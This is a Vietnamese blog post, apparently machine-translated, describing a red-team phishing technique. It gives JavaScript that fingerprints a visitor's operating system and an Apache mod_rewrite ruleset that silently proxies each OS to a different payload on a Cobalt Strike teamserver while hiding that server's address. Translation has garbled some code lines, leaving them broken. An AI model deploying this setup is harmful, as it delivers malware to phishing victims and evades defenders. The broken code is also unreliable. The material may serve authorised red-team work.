HĐH Dựa Redirection Với Apache Mod_Rewrite - Hacking

Vào những lúc bạn có thể tìm thấy chính mình thử nghiệm một môi trường bao gồm một kết hợp hợp lý của hệ điều hành. Có lẽ bộ phận tiếp thị là một nửa Windows và nửa Mac OS X. Trong những trường hợp này, nó có thể không có tính khả thi để xác định hệ điều hành của người sử dụng thông qua một Phish sơ bộ.
Phát hiện hệ điều hành là không có gì mới. Mục đích của phương pháp này là cho phép chúng tôi thực hiện phát hiện và proxy ở một nơi trong khi nhìn nhận là có lý càng tốt để các nạn nhân giả mạo. Không có thay đổi URL, không load lại trang quá mức và làm mới.Phương pháp phát hiện này là tương tự như của tôi bài trước đây về chuyển hướng người dùng điện thoại di động; Tuy nhiên, tận dụng JavaScript cung cấp một phương pháp đáng tin cậy hơn phát hiện hệ điều hành.
OS Detection Demo

OS Detector trang

Các mã HTML bên dưới (dựa trên mã phát hiện hệ điều hành từ javascripter.net ) sử dụng JavaScript để phát hiện hệ điều hành của người sử dụng và gắn thêm một tham số URL (os_id ) vào cuối yêu cầu. Nếu hệ điều hành của người sử dụng không phù hợp với Windows, Mac OS X, Unix, Linux hay, chưa biết sẽ được giao cho các os_id .
HTML chỉ cần được sửa đổi nếu bạn đang sử dụng các tham số os_id trong một trong các trọng tải hoặc nếu bạn chọn để thêm phát hiện chi tiết hơn, chẳng hạn như phiên bản hệ điều hành. Các tập tin HTML nên được lưu trữ trên một teamserver Cobalt Strike hoặc máy chủ pivoting khác, chẳng hạn như một redirector.
<html> <head> </ head> 
<body>

<script> 
var  url_base = 'http://' + window . location . host ; 
var  OSName = "unknown" ; 
var  query_string = document . location . search ; 
var  request_path = window . location . pathname . substr ( 1 ); 
if  ( navigator . appVersion . indexOf ( "Win" ) !=- 1 )  OSName = "windows" ; 
if  ( navigator . appVersion . indexOf ( "Mac" ) !=- 1 )  OSName = "mac" ; 
if  ( navigator . appVersion . indexOf ( "X11" ) !=- 1 )  OSName = "unix" ; 
if  ( navigator . appVersion . indexOf ( "Linux" ) !=- 1 )  OSName = "linux" ;

var  os_string = '&os_id=' + OSName ; 
if  ( query_string  ==  '' )  os_string = '?os_id=' + OSName ; 
if  ( query_string . indexOf ( "os_id=" ) !=- 1 )  os_string = '' ;

cửa sổ . vị trí . thay thế ( url_base + '/' + request_path + QUERY_STRING + os_string );

</ Script>

</ Body> </ html>

Nội quy mod_rewrite

Ruleset sau đây cần được đặt trong một .htaccess file trên redirector Apache của bạn. ThayTEAMSERVER-IP placeholders tải trọng và hệ điều hành với các IP và đường dẫn tương ứng với cơ sở hạ tầng của bạn cho chiến dịch. Các hệ điều hành dò giữ chỗ sẽ được thay thế bằng đường dẫn của tập tin HTML trên về teamserver của bạn.
RewriteEngine On 
RewriteCond %{QUERY_STRING} os_id=mac
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/MAC-OS-X-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=windows
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/WINDOWS-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=unix
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/UNIX-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=linux
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/LINUX-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=unknown
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/UNKNOWN-OS-PAYLOAD [P]
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/OS-DETECTOR.HTML [P]
Từng dòng giải thích:
Kích hoạt các công cụ viết lại Nếu chuỗi truy vấn của người yêu cầu có chứa một tham số 'os_id' với một giá trị của 'mac': Thay đổi toàn bộ yêu cầu để phục vụ 'MAC OS-X-tải trọng' từ IP của teamserver, và giữ địa chỉ của người sử dụng thanh các cùng (làm mờ IP của teamserver). nếu không, nếu chuỗi truy vấn của người yêu cầu có chứa một tham số 'os_id' với một giá trị của 'cửa sổ': Thay đổi toàn bộ yêu cầu để phục vụ 'wINDOWS-tải trọng' từ IP của teamserver, và giữ địa chỉ của người sử dụng thanh như nhau (làm mờ IP của teamserver). nếu không, nếu chuỗi truy vấn của người yêu cầu có chứa một tham số 'os_id' với một giá trị của 'unix': Thay đổi toàn bộ yêu cầu để phục vụ 'UNIX-tải trọng' từ IP của teamserver, và giữ địa chỉ của người sử dụng thanh như nhau (làm mờ IP của teamserver). nếu không, nếu chuỗi truy vấn của người yêu cầu có chứa một tham số 'os_id' với một giá trị của 'linux': Thay đổi toàn bộ yêu cầu để phục vụ 'lINUX-tải trọng' từ IP của teamserver, và giữ địa chỉ của người sử dụng thanh như nhau (làm mờ IP của teamserver). nếu không, nếu chuỗi truy vấn của người yêu cầu có chứa một tham số 'os_id' với một giá trị của "unknown": Thay đổi toàn bộ yêu cầu để phục vụ 'UNKNOWN-OS-tải trọng' từ teamserver của IP, và giữ cho thanh địa chỉ của người sử dụng như nhau (làm mờ IP của teamserver). Nếu không có điều kiện trên được đáp ứng, thay đổi toàn bộ yêu cầu để phục vụ 'OS-DETECTOR.HTML' từ IP của teamserver, và giữ địa chỉ của người sử dụng thanh như nhau (làm mờ IP của teamserver).










Trong ngắn hạn, các Bộ quy tắc kiểm tra yêu cầu cho mỗi thông số hệ điều hành và các proxy yêu cầu đến các đường tải trọng được chỉ định. Thanh địa chỉ của người dùng vẫn sẽ đọc đường dẫn để họ bước vào hoặc nhấp vào để đến được với các máy dò hệ điều hành. Vì nó được viết, ruleset chuyển hướng bất kỳ yêu cầu nhận vào .htaccess thư mục tập tin và bất kỳ thư mục con vào trang phát hiện hệ điều hành. Nếu bạn muốn chọn lọc chuyển hướng đến tập tin đó, bạn có thể thêm một dòng RewriteCond trên và bắt-tất cả các dòng RewriteRule trên dòng cuối cùng. Xem bài mod_rewrite trước đây của tôi về chuyển hướng uri không hợp lệ của một ví dụ cụ thể hơn.

Mở rộng khả năng

Kể từ khi phát hiện chỉ đơn giản là sử dụng JavaScript để dấu vân tay chủ của người dùng cuối và sử dụng mod_rewrite để xác định đúng trang để phục vụ, người ta có thể dễ dàng mở rộng các kịch bản để phục vụ trọng tải dựa trên bất kỳ số tiêu chí. Ví dụ, kịch bản trên không phát hiện các phiên bản cụ thể của hệ điều hành. Nếu mà mức độ chi tiết là cần thiết, xem xét sử dụng các tác nhân người dùng để thực hiện phát hiện.
Một ví dụ là để thay đổi câu lệnh điều kiện trong trang HTML từ:
navigator . appVersion . indexOf ( "Win" ) = - 1
đến
navigator . USERAGENT . indexOf ( "Windows NT 6.1" ) = - 1
Dòng thứ hai có điều kiện kiểm tra cho Windows 7 chứ không phải chỉ Windows. đại lý sử dụng có thể bị giả mạo hoặc gỡ bỏ, vì vậy nó là một ý tưởng tốt để xây dựng một phương pháp phát hiện sao lưu nếu bạn không chắc chắn các đại lý sử dụng sẽ có trong sự khéo léo.

Tóm lược

phát hiện hệ điều hành cho phép các chiến dịch lừa đảo để phục vụ trọng tải dựa trên tác động tối đa cho mỗi loại máy chủ, chứ không phải là ứng dụng rộng. Điều này cho phép bạn điều chỉnh không chỉ các vector lây nhiễm, chẳng hạn như Java vs HTA, mà còn là hậu khai thác công cụ, chẳng hạn như Cobalt Strike vs Metasploit, dựa trên khả năng thành công.Khả năng này có thể được mở rộng hơn nữa để phục vụ lên hệ điều hành hoặc các ứng dụng phiên bản cụ thể.

0 Comment:

Đăng nhận xét

Thank you for your comments!